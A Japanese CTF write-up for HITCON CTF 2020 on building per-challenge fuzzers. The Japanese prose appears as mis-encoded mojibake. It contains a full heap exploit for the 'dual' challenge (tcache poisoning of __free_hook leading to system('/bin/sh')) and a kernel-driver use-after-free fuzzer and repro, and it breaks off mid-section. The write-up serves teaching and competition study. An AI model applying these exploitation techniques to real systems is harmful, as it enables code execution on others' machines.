- ã¯ããã«
- Fuzzingã®æ¦å¿µ
- ãªãèªåã§Fuzzerãæ¸ãã®ã
- å®éã«åé¡ãè§£ã
- ãã¡ãªä¾
- çµè«
ã¯ããã«
ãã®è¨äºã¯CTF Advent Calendarã®15æ¥ç®ã®è¨äºã§ãå 容ã¯HITCON CTF 2020ã®writeupçãªãã®ã§ãããã¾ãã æ¨æ¥ã¯@akiko_pusuããã®ãfreeCodeCampããpicoCTFã®ã¯ããã®ä¸æ©ï¼ãã§ããã æ¬¡ã¯ãã°ããæéã空ãã¦@moratorium08ãããæé«ã®å°ãã¿ãæ¸ãã¦ãããã§ãããã
æ©ãã æ«ã«ãã®ãããªã¿ã¤ãã«ã«ããã®ã§ãããä»åã®è¨äºã¯ã対CTFæ±ç¨Fuzzerãæ¸ããã¨ããå 容ã§ã¯ããã¾ããã ãããªå¤¢ã®ãããªç©ãæå¾ ãã¦ãã£ã¦ããæ¹ã¯ãã©ã¦ã¶ã®å·¦ä¸ã®æ»ããã¿ã³ãæ¼ãã¦ãã ãããããããªãã
ã¾ããFuzzingã«ãããmutationã®æ¦ç¥ãfeedbackã®å©ç¨æ¹æ³ãªã©ãç¥ãããã¦ããã«è¾¿ãçãã人ãå·¦ä¸ã®æ»ããã¿ã³ãæ¼ãã¦ãã ãããããã§ãå¥ãã§ãã Blackbox*1ã§ã©ã³ãã ãªå ¥åããä¸ãã¾ããã
ããã¦ããã®è¨äºã¯åå¿è åãã§ã¯ããã¾ããã ãããFuzzerã§ãã°ãè¦ã¤ãã¦ãããããå¶å¾¡ããã«ã¯æä½éã®åºç¤è½åãå¿ è¦ã§ãã æ¥½ãã¦pwnãè§£ããããã«ãªãã¨æå¾ ãããæ¹ã¯æ®å¿µã§ãããå³ä¸ã®éãããã¿ã³ãæ¼ãã¦ãã ãããè¯ããå¹´ãã
ãã¦ãCTFã®pwnåã¨ã®åãåãæ¹ã¯äººããããã ã¨æãã¾ãã ããããç§ã¯ãã¼ã å ã§èª°ãpwnerãããªãã£ãã¨ããè¶ ååçãªçç±ã§pwnããã£ã¦ããã®ã§ãpwnerã®ç´ 質çãªãã®ãæã¡åããã¦ãã¾ããã ç§ãpwnãè¦æã¨ããçç±ã«ã¯ä¸»ã«æ¬¡ã®3ã¤ãããã¾ãã
- è½åçã«èå¼±æ§ãè¦ã¤ããããªã
- Reversingãè¦æ
- libcã®mallocãFILE streamï¼è¦ããã«é »åºã®æè¡ï¼ã«é¢ããç¥èãçµ¶æçã«ä¸è¶³ãã¦ãã
3ã«é¢ãã¦ã¯åå¼·ããªãã¨ã©ããããããªãã§ãããHouse of XXXã¨ããç¾å®çã«å½¹ç«ã¤ã¨ã¯ä¸åæã£ã¦ããªãã®ã§åå¼·ããæ°ããªãã§ãã 2ã«é¢ãã¦ã¯é¬¼ã®ãããªç¹è¨ã§å æãã¤ã¤ããã¾ãã ãããã1ã«é¢ãã¦ã¯ã©ãã«ãããå¿ è¦ãããã¾ãã
ããã§ãããæ°é±éã§ãã試é¨çã«å°å ¥ãã¦ããã®ããFuzzerãå©ç¨ãã¦èå¼±æ§ãè¦ã¤ãããã¨ããææ³ã§ãã 忥ç ç©¶ã§Grammar-Based Guided Fuzzingãç ç©¶ãã¦ãããã¨ããããå°å ¥ç´å¾ããé常ã«å¤ãã®åé¡ã§å§åçãªãã¯ã¼ãåºããã¨ãã§ãã¾ããã
ã¨ã¯ããé©åº¦ãªå¤æåã¨çéð©ã¼ãã£ã³ã°åãè¦æ±ãããã®ã§ãçä¼¼ãã¦å¤±æãã¦ãèªå·±è²¬ä»»ã§ãé¡ããã¾ãã
Fuzzingã®æ¦å¿µ
ãã®è¾ºã®èª¬æã¯ãã£ãããªã®ã§Fuzzerã®ãã¨ç¥ã£ã¦ãã人ã¯é£ã°ãã¦ãã ããã
Fuzzingã¨ã¯è¦ããã«ãé©å½ãªå ¥åãä¸ãç¶ããã°ãã¤ãæ»æã³ã¼ããã§ããã§ãããã¨ããææ³ã§ãã ããpwnåå¿è ã®äººãã¨ããããåæãAAAAAAAAAAAAAAAAAAAAAAA....ãã£ã¦å ¥åãããã®ããªã§ãã
ãã¡ããå®å ¨ãªexploitã¯çæããã¾ãããããã¤ããªãã¯ã©ãã·ã¥ãããããªå ¥åããããªãè¦ã¤ããããããããã¾ããã ãé©å½ãªå ¥åãã®ä½ãæ¹ã«ãããããããã¾ãã ä¸è¬çãªææ³ã§ã¯ãããã·ã¼ãå ¥åï¼æ®éã«ããã°ã©ã ãåããããªå ¥åï¼ãä¸ãããã®ãã¤ããªãå°ããã¤å¤æ´ãããããã¼ã¿ã追å ãåé¤ããããã¦æ°ããå ¥åãçæãã¦ããã¾ãã ãã®ãããªæä½ãMutationã¨å¼ã³ã¾ãã
Mutationã®æ¦ç¥ï¼ã©ã®ããã«å¤æ´ãããï¼ã«ãããã¤ã種é¡ãããã¾ãããç§ã¯ãã®è¾ºã«è©³ãããªãã®ã§èª¬æãã¾ããã ãã ããé©å½ãªå ¥åãããã°ã©ã ã«ä¸ããã¨ãããã®ããã°ã©ã ããã®åºåã観測ãã¦Mutationãæ±ºå®ãããã¨ãããã¾ãã ãã®è¦³æ¸¬ããåºåãFeedbackã¨å¼ã³ã¾ãã ç¹ã«ãFeedbackãå©ç¨ãã¦ç¹å®ã®ãã¹ãèå¼±æ§ãªã©ãè¦ã¤ãããã¨è©¦ã¿ãFuzzerãGuided Fuzzerã¨å¼ã³ã¾ãã
æãä¸è¬çãªGuided Fuzzerã¯ãããã°ã©ã å ¨ä½ãã¾ãã¹ããªãæ¤æ»ããããã®Coverage-Based Guided Fuzzerã§ãã Coverageã¨ã¯ãããã°ã©ã å ¨ä½ã®ãã¡Fuzzingã§å°éã§ããå ´æï¼Basic Blockï¼ã®å²åã§ãã æ®éã¯ããã°ã©ã ã®åºåãããããã°ã©ã å ¨ä½ã®ã©ã®é¨åãå®è¡ãããã¯å¤å®ã§ããªããããGuided Fuzzerã§ã¯å¯¾è±¡ããã°ã©ã ã®æ¹ãäºãããã£ã¦ããï¼è¨è£ ããï¼å¿ è¦ãããã¾ãã ä¾ãã°Coverage-Basedã®å ´åãåBasic Blockã®å é ã«ããã®Basic Blockãåã£ããã©ã°ãç«ã¦ããããªå¦çã追å ãã¾ãã ï¼ããã¯LLVM Passçã§ä¸éè¨èªã«å¯¾ãã¦è¿½å ãããã¨ãä¸è¬çã§ããï¼
ä»åCTFç¨ã«æ¸ãFuzzerã¯Guidedã«ããå¿ è¦ã¯ããã¾ããã ãªããªããå¤ãã®å ´åæ»æå¯¾è±¡ãå°ããã£ãããèå¼±æ§ã®ãããããªå ´æãæ¨æ¸¬ã§ããããã§ãã CTFã®pwnableã§ã¯coverageãä¸ããå¿ è¦ã¯ãªãããããFuzzerã®è¨è¨æ®µéã§ç¹å®ã®é¢æ°ã«å¿ ãå°éãããããªãããå¹çã®è¯ãFuzzerãæ¸ããã¨ãç®çã¨ãã¾ãã èå¼±æ§ããããåãããªãå¤§è¦æ¨¡ããã¸ã§ã¯ãã«å¯¾ãã¦ã¯ãããã§ããªãã®ã«å¯¾ããä»åã¯èå¼±æ§ããããã¨ãåãã£ã¦ããä¸ã§ãµã¤ãºãå°ããCTFã®pwnã«æå¹ãªç¹æ®Fuzzerãæ¸ãã¾ãã
ãªãèªåã§Fuzzerãæ¸ãã®ã
ä¸ã®ä¸ã«ã¯å¤ãã®åªç§ãªFuzzerãåºåã£ã¦ãã¾ãã æã代表çãªä¾ã¯AFLã§ãããã
ãã®è¨äºã®ã¿ã¤ãã«ãè¦ã¦ããAFLãããã¡ãªã®ï¼ãã¨æã£ãæ¹ãå°ãªãããããã¨æãã¾ãã ããããCTFã§åé¡ãã¨ã«Fuzzerãæ¸ãã¹ãçç±ã5ã¤ããã¾ãã
- CTFã®åé¡ã¯èªåã§Fuzzerãæ¸ããã»ã©ã·ã³ãã«ãªãã®ãå¤ã
- è¤éãªå ¥åå½¢å¼ã«æè»ã«å¯¾å¿ã§ãã
- åé¡ãã¨ã«syntaxãtypestate, semanticsãªã©ãèæ ®ãããã¹ãã±ã¼ã¹ãæ¸ãã
- ç¹å®ã®ãã¹ã¸ã®æåguided fuzzingãå¯è½
- CTFã®åé¡ã¯ã½ã¼ã¹ã³ã¼ããé å¸ããã¦ããªãå ´åãå¤ã
ç§ãä¸çªæåã«CTFã§Fuzzerãå©ç¨ããã®ã¯CSAW CTF Qualification 2020ã®featherã¨ããåé¡ã§ãã ãã®åé¡ã¯ã½ã¼ã¹ã³ã¼ããé å¸ããã¦ãããããAFLãå©ç¨ãã¦èå¼±æ§ãè¦ã¤ãããã¨ãã¾ããã AFLã«ããã¯ã©ãã·ã¥ã夿°è¦ã¤ãããã¨ãã§ãã¾ããããçµå±AFLã§ã¯åé¡ã®æ»ç¥ã«ç´æ¥ç¹ãããããªç³¸å£ã¯è¦ã¤ããã¾ããã§ããã
ã½ã¼ã¹ã³ã¼ãããã£ãã«ãé¢ãããAFLãåãçºæ®ã§ããªãã£ãä¸çªå¤§ããªçç±ã¯å ¥åå½¢å¼ã ã£ãã¨æãã¾ãã ãã®featherã¨ããåé¡ã¯base64å½¢å¼ã§ã¨ã³ã³ã¼ãããããã¡ã¤ã«ã·ã¹ãã ãå ¥åã¨ãã¦åãåãã®ã§ãããAFLã«base64æååãmutationãããã®ã¯ããããä¸ç©ã§ãã å ¥åãbase64ã¨ãã¦ä¸é©å½ãªæååã«ãªã£ãã ãã§ããã°ã©ã ã®ä¸»è¦é¨åã«å°éããçµããã®ã§ãMutationã§ã¯å¹çãè¯ãã¨ã¯è¨ãã¾ããã ã¾ãããã¡ã¤ã«ã·ã¹ãã ã¨ããè¤éãªå ¥åå½¢å¼ã§ãå°ãééããã ãã§assertion errorã«å¼ã£ããã£ã¦ãã¾ãããããcrashã¨å¤å®ããã¦å¤§éã®false positiveãçã¾ãã¦ãã¾ãã¾ããã
ãã®ã¨ããèªåã§wrapperæ¸ãã°è¯ãããããï¼ãã¨æã£ãã®ãCTFã§Fuzzingã使ãå§ãããã£ããã§ãã
å®éã«åé¡ãè§£ã
ãªããçè«ã¨ã説æããã®é¢åãªã®ã§å®è·µã§èª¬æãã¾ãã HITCON 2020ã§ã¯ãèªä½fuzzerã®åãåãã¦3ã¤ã®pwnãè§£ãã1ã¤ã®pwnã§èå¼±æ§ã¨æ¹éãè¦ã¤ãã¦ä»ã®äººã«è§£ãã¦ãããã1ã¤ã®pwnã§RIPãåãã¾ã§ã«è³ãã¾ããã ã¾ããHITCONã®åé¡ã¯ã¦ã¼ã¶ã¼ã©ã³ãããã«ã¼ãã«ã©ã³ãã¾ã§å¹ åºãåºé¡ããããããä»åã¯HITCONã®åé¡ãä¾ã«ãã¦èªä½fuzzerã®å®åãä¼ãããã¨æãã¾ãã ããã«æ¸ãã¦ããåé¡ä»¥å¤ã«ããpbctfãASISã®ä½åãã§ãã¯ãªã©ã§èªä½fuzzerã¯å½¹ã«ç«ã£ã¦ãã¾ãã
dual - ã¦ã¼ã¶ã¼ã©ã³ãããã°ã©ã ã®Fuzzing
C++製ãã¤ããªãè²°ãã¾ããã¨ããããreversingããã¨ããã¼ã¯ã»ã¢ã³ãã»ã¹ã¤ã¼ãæ¹å¼ã®ã¬ã¼ãã¼ã¸ã³ã¬ã¯ã¿ãå®è£ ããã¦ãããã¨ãåããã¾ãã ãã®æã®åé¡ã§æåã«ããã®ã¯æä½æ¹æ³ã®ç¢ºèªã§ãã
é©å½ã«reversingããã¨ããã®ããã°ã©ã ã«ã¯7ã¤ã®æä½ããããã¨ãåããã¾ãã
- Nodeãä½ã
- 2ã¤ã®Nodeãç¹ã
- 2ã¤ã®Nodeãåã
- Nodeã«ãã¼ã¿ãæ¸ãè¾¼ã
- Nodeã«ãã¼ã¿ãæ¸ãè¾¼ãã§base64ã§ã¨ã³ã³ã¼ããã
- Nodeã®ãã¼ã¿ãèªã
- ã¬ã¼ãã¼ã¸ã³ã¬ã¯ã¿ãçºç«ããã
ã¾ãã¯ãããã«å¯¾å¿ããpythonå´ã®wrapperãæ¸ãã¾ãã
def create_node(pred_id): sock.sendlineafter(">\n", "1") sock.sendlineafter(">\n", str(pred_id)) return int(sock.recvline()) def connect_node(pred_id, succ_id): sock.sendlineafter(">\n", "2") sock.sendlineafter(">\n", str(pred_id)) sock.sendlineafter(">\n", str(succ_id)) def disconnect_node(pred_id, succ_id): sock.sendlineafter(">\n", "3") sock.sendlineafter(">\n", str(pred_id)) sock.sendlineafter(">\n", str(succ_id)) def write_text(node_id, data): sock.sendlineafter(">\n", "4") sock.sendlineafter(">\n", str(node_id)) sock.sendlineafter(">\n", str(len(data))) sock.sendafter(">\n", data) def write_bin(node_id, data): sock.sendlineafter(">\n", "5") sock.sendlineafter(">\n", str(node_id)) sock.sendlineafter(">\n", str(len(data))) sock.sendafter(">\n", data) def read_text(node_id): sock.sendlineafter(">\n", "6") sock.sendlineafter(">\n", str(node_id)) text = sock.recvuntil("op>\n") sock.unget(">\n") return text[:-4] def gc(): sock.sendlineafter(">\n", "7")
ããã¾ã§ã§ãããFuzzerãæ¸ãæºåã¯å®äºã§ãã ãã®wrapperã¯syntaxï¼æ§é ï¼ã¨semanticsï¼æå³ï¼ã®æ£ãããä¿è¨¼ãã¦ããã¾ãã ããã©ã³ãã ãªå ¥åãä¸ãã¦ããã°ãã¡ãã¥ã¼ã§ééã£ãçªå·ãæ°åã§ãããªãæåãä¸ãã¦ãã¾ããããã°ã©ã ãçµäºãã¾ãã syntaxã¨semanticsãå®ããã¨ã§ãé·æéã«æ¸¡ã£ã¦fuzzerãèµ°ããç¶ãããã¨ãã§ããçµæã¨ãã¦coverageã®åä¸ããã°çºè¦ã¾ã§ã®æéç縮ã«ç¹ããã¾ãã
Step 1. Fuzzerã®æ¹éãç«ã¦ã
åºæ¬æ¹éã¯é常ã«åç´ã§ãããã°ã©ã ãæä¾ãã7ã¤ã®æä½ãã©ã³ãã ã«çºåãããã ãã§ãã
ããããééã£ããã¼ãã鏿ãã¦ãinvalidã¨è¨ããã¦ãã¾ãã®ã§ãä»åã¯ãããé¿ããããã«ãã¾ãã ä¾ãã°ããã¼ããåæããã«ã¯ããã®ãã¼ããæ¢ã«å¥ã®ãã¼ãã¨æ¥ç¶ããã¦ããå¿ è¦ãããã¾ãã HITCONä¸ã«ã¯æ¬¡ã®ãããªç¶æ 管çã¯ã©ã¹ãä½ãã¾ããã
node_id = 0 # æ»ç¥å¯¾è±¡ã®ããã°ã©ã ãæã¤Nodeãçä¼¼ãæ§é class Node(object): def __init__(self): global node_id self.links = set() self.nid = node_id node_id += 1 def link(self, i): self.links.add(i) def unlink(self, i): self.links.discard(i) # rootããå°éå¯è½ãªNodeã®ã¿ãæ½åºãã颿° def update_available(available, root, flags): if root in flags: return available.add(root) flags.append(root) for node in root.links: update_available(available, node, flags) # åæå import random root = Node() available = set()
availableã«ã¯ç¾å¨freeããã¦ããªããã¼ããæ®ãã¾ãã ãã®ããã«ããã°ã©ã å´ã®ç¶æ ï¼type-stateï¼ãfuzzerå´ã§ãä¿æãã¦ãããã¨ã§ãå¹ççã«ãã°ãè¦ã¤ãããã¾ãã
ãã ãããããã°ã©ã ãæ£ããåãããã«ãããããã®ã¯ãã¡ã§ãã ãããããã°ãçºè¦ãããã¨ãã¦ããã®ã«ãã¯ã©ãã·ã¥ããªãããã«ããããã®ã¯æ¬æ«è»¢åã§ãã ä¾ãã°double freeãè¦ã¤ããããªããæ¬¡ã®ãããªtype-state*2ã«æ²¿ã£ã¦å ¥åãguideããå¿ è¦ãããã¾ãã
è¦ããã«ãfuzzerå´ã§ãã¼ããcreateå¾ã«deleteãããããè¦ã¦ãdouble freeã試ã¿ãå ¥åãä¸ãããã¨ããæãã§ãã ãã®è¾ºã®ç«å æ¸ãé常ã«åä»ãªã®ã§ãpwnã«æ £ãã¦ããªã人ãCTFã§fuzzerã使ãã®ã¯å°é£ã ã¨æãã¾ããçµäºã
ãã¦ãä»åã¯âã®ããã«UAFãdouble freeãèµ·ããtype-stateã¯èãã¾ããã çç±ã¯ï¼ã¤ãããã¾ãï¼ã¤ã¯reversingã®æ®µéã§UAFãdouble freeã¯åç´ã«ã¯èµ·ãããªãããã¨å¤æããããã§ãã ä»åã®ãã¼ãã¯ãã¹ã¦ã¬ã¼ãã¼ã¸ã³ã¬ã¯ã¿ã§ç®¡çããã¦ããããªã³ã¯ãåã£ãã¨ããã§ããã«ã¯freeããã¾ããã ãã®ãã¼ããæããã¤ã³ã¿ãç¡ããªã£ããfreeããã¾ãã ï¼ã¤ç®ã¯ããã®åé¡ãã¬ã¼ãã¼ã¸ã³ã¬ã¯ã¿ãæ¡ç¨ãã¦ããã¨ããç¹ã§ãã ããããGCãä½ã£ãã¨ãããã¨ã¯ãããã«èå¼±æ§ãããå¯è½æ§ãé«ãã§ãããããããçãfuzzerãæ¸ããæ¹ã確å®ã§ãã
ãããªãããªã§æ¬¡ã®ãããªfuzzerãåºæ¥ä¸ããã¾ãã
while True: available = set() flags = [] update_available(available, root, flags) r = random.randrange(0, 7) if r == 0: parent = pickup() node = Node() parent.link(node) print(f"create_node({parent.nid})") if create_node(parent.nid) > 100: print("[-] Too large") exit() elif r == 1: src, dst = pickup(), pickup() print(f"connect_node({src.nid}, {dst.nid})") connect_node(src.nid, dst.nid) src.link(dst) elif r == 2: src = pickup() if len(src.links) == 0: continue dst = random.choice(list(src.links)) print(f"disconnect_node({src.nid}, {dst.nid})") disconnect_node(src.nid, dst.nid) src.unlink(dst) elif r == 3: target = pickup() data = craft() print(f"write_text({target.nid}, {data})") write_text(target.nid, data) elif r == 4: target = pickup() data = craft() print(f"write_bin({target.nid}, {data})") write_bin(target.nid, data) elif r == 5: target = pickup() print(f"read_text({target.nid})") read_text(target.nid) elif r == 6: print("gc()") gc()
ããã§æå¤§ãã¼ãIDã100ã«éå®ãã¦ããã®ã¯ããã¹ãã±ã¼ã¹ããªãã¹ãå°ããããããã§ãã å®éã«ã¯ç¡å¶éã§èµ°ãããä½ã¤ãã¬ã¼ã·ã§ã³ãããåãã°ã¯ã©ãã·ã¥ããããè¦ã¦ããªãã¹ãå°ãããã¹ãã±ã¼ã¹ã«ãªãããã«é¾å¤ãä¸ãã¾ãã
ä½åãèµ°ãããã¨ã次ã®ããã«éä¸ã§ããã°ã©ã ã忢ãã¾ãã
... connect_node(2, 19) gc() disconnect_node(4, 7) connect_node(8, 9) read_text(6) create_node(17) gc() create_node(4) connect_node(14, 10) create_node(8)
ãã°ãè¦ãã¨ãæ»æå¯¾è±¡ã®ããã°ã©ã ãä½ããã®åå ã§ã¯ã©ãã·ã¥ãããã¨ãåããã¾ãã
[140490.484678] dual-2df8d4005c[5256]: segfault at 0 ip 000000000040468b sp 00007fffffffd7f0 error 4 in dual-2df8d4005c5d4ffc03183a96a5d9cb55ac4ee56dfb589d65b0bf4501a586a4b0[404000+c1000] [140490.484682] Code: 00 48 8b 0d 0f 4b 11 00 eb b5 80 35 3e 4a 11 00 02 5b c3 e8 c7 fa ff ff 0f 1f 80 00 00 00 00 41 57 41 56 41 54 53 50 49 89 fe <48> 39 37 74 70 48 8b 05 29 4a 11 00 49 39 46 38 74 60 49 89 46 38
NULL pointer dereferenceã¯ãã¾ã使ããªããã¨ãå¤ãã®ã§ããªãã¹ãgeneral protection faultçãå½ããã¾ã§åãç¶ãã¾ãããã
Step 2. ãã¹ãã±ã¼ã¹ãæé©åãã
ããã»ã©è¦ã¤ããã¯ã©ãã·ã¥ã¾ã§ã«ã¯æ°ç¾åã®æä½ãå®è¡ããã¦ãã¾ãã
ããã§ãè¯ãã®ã§ãããé¢ä¿ãªãå
¥åã¯ãªãã¹ãæ¶ãããã§ãã
å®è¡ããæä½ã試ãã«æ¸ããã¨ã disconnect_node
㨠read_text
ã¯ãªãã¦ãã¯ã©ãã·ã¥ãããã¨ãåããã¾ããï¼ãã®è¾ºã楽ãªã®ãèªä½ããã¡ãªããã§ãããï¼
ããã«ããæ°ååã®æä½ã§ã¯ã©ãã·ã¥ãããããªãã¹ãã±ã¼ã¹ãä½ãã¾ãã ç«¶æä¸ã«ã¯æ¬¡ã®ãããªãã¹ãã±ã¼ã¹ãè¦ã¤ãã¾ããã
ããã¯å
ç¨ã®ä¾ã¨éã£ã¦ write_text
ã§æ¸ãè¾¼ãã ãã¼ã¿ã®ä¸é¨ãã¢ãã¬ã¹ã¨ãã¦èªèããã¦ããããã§ãã
次ã¯1æä½åä½ã§åã£ã¦ãããæçµçã«æ¬¡ã®ãããªæ´ç·´ããããã¹ãã±ã¼ã¹ãåºæ¥ä¸ããã¾ããï¼ãã®è¾ºã¯å ã®æã§ããï¼
create_node(0) create_node(0) write_text(0, b'A') write_text(1, b'A') write_text(2, b'A') create_node(1) create_node(3) create_node(0) write_bin(1, b'') gc() create_node(5) create_node(0) write_bin(2, b'A') create_node(4) create_node(7) write_text(7, b'AAAAAAAA') gc() write_text(3, b'AAAAAAAA') write_text(2, b'AAAAAAAA') fake_chunk = p64(0xffffffffaaaaaaaa) fake_chunk += p64(0xffffffffbbbbbbbb) fake_chunk += p64(0xffffffffcccccccc) fake_chunk += p64(0xffffffffdddddddd) fake_chunk += p64(0xffffffffeeeeeeee) write_text(4, fake_chunk) create_node(9)
ãã®æç¹ã§ãä½ãç¥ãããã©å½ã®ãã¼ããä½ãããã¨ãããã¨ãåããã¾ããã
Step 3. åé¡ãè§£ã
ãã¡ããã¾ã ä½ãèå¼±æ§ããä½ã§fake nodeãä½ããã®ããç¥ãã¾ããã ããããç¹å®ã®æä½ãããã¨å½ã®ãã¼ããæ±ãããã¨ãããã©ãã¯ããã¯ã¹ããããã®ã¨ä»®å®ããã°ååã§ãã
æçµçãªexploitã¯æ¬¡ã®ããã«ãªãã¾ããã çµå±ä½ãèå¼±æ§ããç¥ããªãã¾ã¾é常ã«ç°¡åã«è§£ãã¾ãããã
# ä½ãç¥ãããã©ããããã¨ãã°ã create_node(0) create_node(0) write_text(0, b'A') write_text(1, b'A') write_text(2, b'A') create_node(1) create_node(3) create_node(0) write_bin(1, b'') gc() create_node(5) create_node(0) write_bin(2, b'A') create_node(4) create_node(7) write_text(7, b'AAAAAAAA') gc() write_text(3, b'AAAAAAAA') write_text(2, b'AAAAAAAA') # leak heap base fake_chunk = p64(0xdead) # id fake_chunk += p64(12) # node_index fake_chunk += p64(0) # index_list fake_chunk += p64(0) fake_chunk += p64(0) fake_chunk += p64(0x80) # capacity fake_chunk += p64(1) # text_index fake_chunk += p64(0) # stamp write_text(4, fake_chunk) heap_base = u64(read_text(0xdead)[0x10:0x18]) - 0x120f0 logger.info("heap = " + hex(heap_base)) # leak libc base write_text(6, b"X" * 0x430) write_bin(6, b"") gc() fake_chunk = p64(0xdead) # id fake_chunk += p64(12) # node_index fake_chunk += p64(0) # index_list fake_chunk += p64(0) fake_chunk += p64(0) fake_chunk += p64(0x100) # capacity fake_chunk += p64(11) # text_index fake_chunk += p64(0) # stamp write_text(4, fake_chunk) libc_base = u64(read_text(0xdead)[0xa0:0xa8]) - libc.main_arena() - 0x60 logger.info("libc = " + hex(libc_base)) # heap feng shui write_text(5, b"X" * 0x10) # pop write_text(6, b"X" * 0x10) # pop write_text(7, b"X" * 0x10) # this chunk is allocated after fake_chunk write_text(6, b"X" * 0x20) write_text(7, b"X" * 0x20) gc() fake_chunk = p64(0xdead) # id fake_chunk += p64(12) # node_index fake_chunk += p64(0) # index_list fake_chunk += p64(0) fake_chunk += p64(0) fake_chunk += p64(0x100) # capacity fake_chunk += p64(12) # text_index fake_chunk += p64(0) # stamp write_text(4, fake_chunk) # tcache poisoning payload = fake_chunk payload += p64(0) + p64(0x21) payload += p64(libc_base + libc.symbol("__free_hook")) write_text(0xdead, payload) # win! X = create_node(0) Y = create_node(0) write_text(X, "/bin/sh\0") write_text(Y, p64(libc_base + libc.symbol("system"))) sock.sendlineafter(">\n", "4") sock.sendlineafter(">\n", str(X)) sock.sendlineafter(">\n", str(0x123))
spark - ã«ã¼ãã«ãã©ã¤ãã®Fuzzing
次ã¯ã«ã¼ãã«ãã©ã¤ãã®fuzzingã§ãã ããããããã¨ã¯dualã¨å¤ããã¾ããã ã¨ããããã以édualã¨åãã§wrapperæ¸ãâã©ã³ãã ãªå ¥åãä¸ããâã¯ã©ãã·ã¥ãããæå°åããâè§£ãã®ãã¿ã¼ã³ãªã®ã§èª¬æãçç¥æ°å³ã«ãªãã¾ãã ï¼å¥ã«ç ç©¶ã¨ã¼ãã«è¿½ããã¦æéããªãã¨ãã§ã¯ï¼
Step 1. Fuzzerã®æ¹éãç«ã¦ã
æ¬æ¥ãªãã«ã¼ãã«ãã©ã¤ãã®è§£æããå§ãã¾ãããå¬ãããã¨ã«demo.cãªããã¡ã¤ã«ã渡ããã¦ããã©ã¤ãã®ä½¿ãæ¹ãä¾ç¤ºããã¦ãã¾ãã ä¸å¿ãã©ã¤ãã軽ãèªãã¨ãdemo.cã«ã¯ç¡ãæä½ãioctlã§ä½¿ãããã¨ãåããã®ã§ããããfuzzerã«è¿½å ãã¾ãã ããã§ãã®æä½ãä½ããããã¯åãã£ã¦ãã¾ããããåããå¿ è¦ãããã¾ããã ï¼ã¨ã¯ããçé¢ç®ã«è§£æãã¦ãããã¼ã ã¡ã³ãã¼ã®æ¹ãä½ããããæãã¦ããã¦ããã®ã§é¢æ°åã¯ã¡ããã¨ä»ãã¾ãããï¼
ãã¦ãä»åã¯æ¬¡ã®5ã¤ã®æä½ãå¯è½ã§ãã
- ããã¤ã¹ãã©ã¤ããéãï¼éãç´ãï¼
- fdï¼ãã¼ãï¼éããªã³ã¯ãã
- æççµè·¯ãè¨ç®ãã
- ãã¼ãéã®æççµè·¯ã®è¨ç®çµæãåå¾ãã
- ãªããã®æ å ±ãåå¾ããï¼getinfoããããä¸èº«åãã£ã¦ãªããã¤ï¼
fuzzerã¯ããã ãã§ãã
while(1) { switch(rand() % 8) { case 0: t = rand() % N; close(fd[t]); fd[t] = open(DEV_PATH, O_RDWR); break; case 1: case 2: link_(rand() % N, rand() % N, rand()); break; case 3: case 4: query(rand() % N, rand() % N); break; case 5: case 6: getinfo(rand() % N); break; case 7: finalize(rand() % N); break; } }
ãããèµ°ãããã¨æ°ç¾ã¤ãã¬ã¼ã·ã§ã³ã§ç°¡åã«ã«ã¼ãã«ãã¯ã©ãã·ã¥ãã¾ãã
Step 2. åç¾æ§ã®ãããã¹ãã±ã¼ã¹ãè¦ã¤ãã
ããã§åé¡ãçºçãã¾ãã dualã¨åãããã«ãã¹ãã±ã¼ã¹ãå°ãããã¦ããã¨ãããæã¯ã¯ã©ãã·ã¥ãããã©ãã¾ã«ã¯ã©ãã·ã¥ããªãã¿ãããªç¶æ³ãçºçãã¾ãã ããªãã¡ãã¹ãã±ã¼ã¹ã«åç¾æ§ããªãã®ã§ãã
é常ãããã£ãåé¡ã¯raceã§çºçãã¾ãã ãããä»åã¯ã·ã³ã°ã«ã¹ã¬ããã§åããã¦ããä¸ãã«ã¼ãã«ãã©ã¤ãå´ã§workerãèµ°ããããªå¦çãè¦å½ããã¾ããã
çµè«ãè¨ãã¨ããã®åé¡ã®èå¼±æ§ã¯Use after Freeã§ããã ãããã£ã¦ãfreeå¾ã«ãã®ãã£ã³ã¯ã使ããã¦å¥ã®ãã¼ã¿ãå ¥ãã¨ãuseæã«ã¯ã©ãã·ã¥ããå¯è½æ§ãã¯ã©ãã·ã¥ããªãå¯è½æ§ãããã¾ãã ã«ã¼ãã«ã©ã³ãã§ãã®ã§ãåãslabãããããªããã°ã©ã ã使ãããã§ãåãã³ã¼ããå®è¡ãã¦ãåãçµæã«ãªãã¨ã¯éããªã訳ã§ããã
ãããªãããªã§æ¬¡ã®ãããªã³ã¼ãã§ã¯ã©ãã·ã¥ã§ãããã¨ãåããã¾ããã
link_(0, 1, 0xdeadbeef); close(fd[0]); fd[0] = open(DEV_PATH, O_RDWR); finalize(1);
Step 3. åé¡ãè§£ã
ãã¨ã¯UAFãå©ç¨ãã......ã®ã§ããããã«ã¯Nodeãã©ã表ç¾ããã¦ããããreversingããå¿ è¦ãããã¾ããã ãã®ãããç«¶æä¸ã«ã«ã¼ãã«ãã©ã¤ããçé¢ç®ã«èªãã§ããã¦ããæ¹ã«æãã¦æ®ãã®exploitãã¼ãã¯ãã£ã¦ãããã¾ããã
atoms - ã«ã¼ãã«ãã©ã¤ãã®Fuzzingï¼ãã«ãã¹ã¬ããï¼
ã¾ãããã«ã¼ãã«ãã©ã¤ãã®èå¼±æ§ã§ãã ããã¯æãfuzzerãä¸æãæ©è½ããä¾ã¨è¨ããã§ãããã
åé¡ã¨ãã¦ã¯sparkåæ§ã«ã¼ãã«ãã©ã¤ããããã®ã§ããããã©ã°ã®å徿¹æ³ãç¹æ®ã§ãã
diff --git a/kernel/watchdog.c b/kernel/watchdog.c index 7110906..beeb01f 100644 --- a/kernel/watchdog.c +++ b/kernel/watchdog.c @@ -409,9 +409,12 @@ static enum hrtimer_restart watchdog_timer_fn(struct hrtimer *hrtimer) } } +#ifndef FLAG + #define FLAG "hitcon{<FLAG WILL BE HERE>}" +#endif pr_emerg("BUG: soft lockup - CPU#%d stuck for %us! [%s:%d]\n", smp_processor_id(), duration, - current->comm, task_pid_nr(current)); + FLAG, task_pid_nr(current)); print_modules(); print_irqtrace_events(current); if (regs)
ã¤ã¾ãwatchdogãæãç¨åº¦ã«ã«ã¼ãã«ããã³ã°ãããã°åã¡ã§ãã
Step 1. Fuzzerã®æ¹éãç«ã¦ã
ãã¤ãã©ããwrapperãæ¸ãã¦
